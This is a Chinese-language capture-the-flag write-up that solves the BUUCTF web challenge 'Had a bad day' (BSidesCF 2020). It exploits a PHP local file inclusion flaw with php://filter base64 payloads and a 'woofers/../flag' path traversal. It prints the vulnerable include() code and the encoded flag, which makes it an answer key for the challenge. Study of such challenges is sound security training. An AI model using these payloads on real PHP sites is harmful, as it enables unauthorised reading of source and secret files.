BUUCTF WEB [BSidesCF 2020]Had a bad day

BUUCTF WEB [BSidesCF 2020]Had a bad day


  • index.php?category=woofers'
    

    报错

    Warning: include(woofers'.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37
    
    Warning: include(): Failed opening 'woofers'.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37
    
  • 发现一个文件包含漏洞,使用dirsearch扫描发现flag.php文件,直接访问提示

    
    
  • 题目设置了include_path ='.:/usr/local/lib/php' ,并且在提交的category变量后添加了.php后缀

  • 使用php伪协议读取index.php

    index.php?category=php://filter/convert.base64-encode/resource=index
    

    回显

    PGh0bWw+CiAgPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IkltYWdlcyB0aGF0IHNwYXJrIGpveSI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWluaW11bS1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkhhZCBhIGJhZCBkYXk/PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iY3NzL21hdGVyaWFsLm1pbi5jc3MiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJjc3Mvc3R5bGUuY3NzIj4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8ZGl2IGNsYXNzPSJwYWdlLWxheW91dCBtZGwtbGF5b3V0IG1kbC1sYXlvdXQtLWZpeGVkLWhlYWRlciBtZGwtanMtbGF5b3V0IG1kbC1jb2xvci0tZ3JleS0xMDAiPgogICAgICA8aGVhZGVyIGNsYXNzPSJwYWdlLWhlYWRl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yaXB0PgogIDwvYm9keT4KPC9odG1sPg==
    
    
      
        
        
        
        
        Had a bad day?
        
        
      
      
        

    Cheer up!

    Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!

  • 其中php代码为

    
    $file = $_GET['category'];
    
    if (isset($file)) {
        if (strpos($file, "woofers") !== false || strpos($file, "meowers") !== false || strpos($file, "index")) {
            include($file . '.php');
        } else {
            echo "Sorry, we currently only support woofers and meowers.";
        }
    }
    ?>
    
  • 构造payload

    index.php?category=php://filter/convert.base64-encode/resource=woofers/../flag
    

    回显

    PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKIC8vIGZsYWd7MjM0ZDNjMmItZDkwMi00ODNiLWJlMTItMDVmODdjMGIxNDRlfQo/Pgo=
    

    得到flag

    
    
    

你可能感兴趣的:(BUUCTF,web安全)